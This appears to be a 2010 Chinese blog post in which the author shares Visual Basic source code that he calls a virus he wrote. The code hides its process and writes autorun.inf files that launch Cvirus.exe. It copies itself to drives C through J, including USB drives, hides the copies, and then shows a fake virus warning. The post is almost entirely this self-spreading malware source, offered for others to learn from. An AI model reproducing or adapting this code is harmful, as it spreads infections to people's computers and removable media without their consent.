VB编程

VB编程
2010年05月13日
　　 正在工作中,,,,,,有空就写入我最近编写的病毒源代码.解释下,此病毒属于自动制造垃圾到各个盘(电脑硬盘CDEF等等,也可以制造到可移动的U盘,MP3,MP4,移动硬盘等)
　　我是 CRole
　　大家一起学习VB
　　以下是 代码：
　　Sub Main()
　　App.TaskVisible = False '隐藏进程
　　On Error Resume Next
　　Open App.Path & "autorun.inf" For Output As #1
　　Print #1, "[AutoRun]"
　　Print #1, "open = Cvirus.exe"
　　Print #1, "shellexecute = Cvirus.exe"
　　Print #1, "shell\Auto\commang = Cvirus.exe"
　　Close #1
　　'========================================
　　Dim c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11, c12, c13, _
　　c14, c15, c16, c17, c18, c19, c20, c21, c22, c23, c24, c25, _
　　c26, c27, c28, c29, c30, c31, c32, c33, c34, c35, c36, c37, c38, c39, c40
　　'----------------------------------------在C盘生成空的Cvirus.exe文件
　　c1 = App.Path & "\Cvirus.exe"
　　c2 = "c:\Cvirus.exe"
　　FileCopy c1, c2
　　'----------------------------------------在C盘生成autorun.inf文件
　　c3 = App.Path & "\autorun.inf"
　　c4 = "c:\autorun.inf"
　　FileCopy c3, c4
　　'----------------------------------------在D盘生成空的Cvirus.exe文件
　　c5 = App.Path & "\Cvirus.exe"
　　c6 = "d:\Cvirus.exe"
　　FileCopy c5, c6
　　'----------------------------------------在D盘生成autorun.inf文件
　　c7 = App.Path & "\autorun.inf"
　　c8 = "d:\autorun.inf"
　　FileCopy c7, c8
　　'----------------------------------------在E盘生成空的Cvirus.exe文件
　　c9 = App.Path & "\Cvirus.exe"
　　c10 = "e:\Cvirus.exe"
　　FileCopy c9, c10
　　'----------------------------------------在E盘生成autorun.inf文件
　　c11 = App.Path & "\autorun.inf"
　　c12 = "e:\autorun.inf"
　　FileCopy c11, c12
　　'----------------------------------------在F盘生成空的Cvirus.exe文件
　　c13 = App.Path & "\Cvirus.exe"
　　c14 = "f:\Cvirus.exe"
　　FileCopy c13, c14
　　'----------------------------------------在F盘生成autorun.inf文件
　　c15 = App.Path & "\autorun.inf"
　　c16 = "f:\autorun.inf"
　　FileCopy c15, c16
　　'----------------------------------------在G盘生成空的Cvirus.exe文件
　　c17 = App.Path & "\Cvirus.exe"
　　c18 = "g:\Cvirus.exe"
　　FileCopy c17, c18
　　'----------------------------------------在G盘生成autorun.inf文件
　　c19 = App.Path & "\autorun.inf"
　　c20 = "g:\autorun.inf"
　　FileCopy c19, c20
　　'----------------------------------------在H盘生成空的Cvirus.exe文件
　　c21 = App.Path & "\Cvirus.exe"
　　c22 = "h:\Cvirus.exe"
　　FileCopy c21, c22
　　'----------------------------------------在H盘生成autorun.inf文件
　　c23 = App.Path & "\autorun.inf"
　　c24 = "h:\autorun.inf"
　　FileCopy c123, c24
　　'----------------------------------------在I盘生成空的Cvirus.exe文件
　　c25 = App.Path & "\Cvirus.exe"
　　c26 = "i:\Cvirus.exe"
　　FileCopy c25, c26
　　'----------------------------------------在I盘生成autorun.inf文件
　　c27 = App.Path & "\autorun.inf"
　　c28 = "i:\autorun.inf"
　　FileCopy c27, c28
　　'----------------------------------------在J盘生成空的Cvirus.exe文件
　　c29 = App.Path & "\Cvirus.exe"
　　c30 = "j:\Cvirus.exe"
　　FileCopy c29, c30
　　'----------------------------------------在J盘生成autorun.inf文件
　　c31 = App.Path & "\autorun.inf"
　　c32 = "j:\autorun.inf"
　　FileCopy c31, c32
　　'----------------------------------------隐藏所有生成的文件
　　Call SetAttr(App.Path & "\Cvirus.exe", vbHidden)
　　Call SetAttr(App.Path & "\autorun.inf", vbHidden)
　　Call SetAttr("c:\Cvirus.exe", vbHidden)
　　Call SetAttr("c:\autorun.inf", vbHidden)
　　Call SetAttr("d:\Cvirus.exe", vbHidden)
　　Call SetAttr("d:\autorun.inf", vbHidden)
　　Call SetAttr("e:\Cvirus.exe", vbHidden)
　　Call SetAttr("e:\autorun.inf", vbHidden)
　　Call SetAttr("f:\Cvirus.exe", vbHidden)
　　Call SetAttr("f:\autorun.inf", vbHidden)
　　Call SetAttr("g:\Cvirus.exe", vbHidden)
　　Call SetAttr("g:\autorun.inf", vbHidden)
　　Call SetAttr("h:\Cvirus.exe", vbHidden)
　　Call SetAttr("h:\autorun.inf", vbHidden)
　　Call SetAttr("i:\Cvirus.exe", vbHidden)
　　Call SetAttr("i:\autorun.inf", vbHidden)
　　Call SetAttr("j:\Cvirus.exe", vbHidden)
　　Call SetAttr("j:\autorun.inf", vbHidden)
　　If MsgBox("警告：您的计算机受到了病毒的入侵是否立即进行杀毒！", vbQuestion + vbYesNo, "系统提示") = vbYes Then
　　Form1.Show
　　End If
　　End Sub
　　===========================================================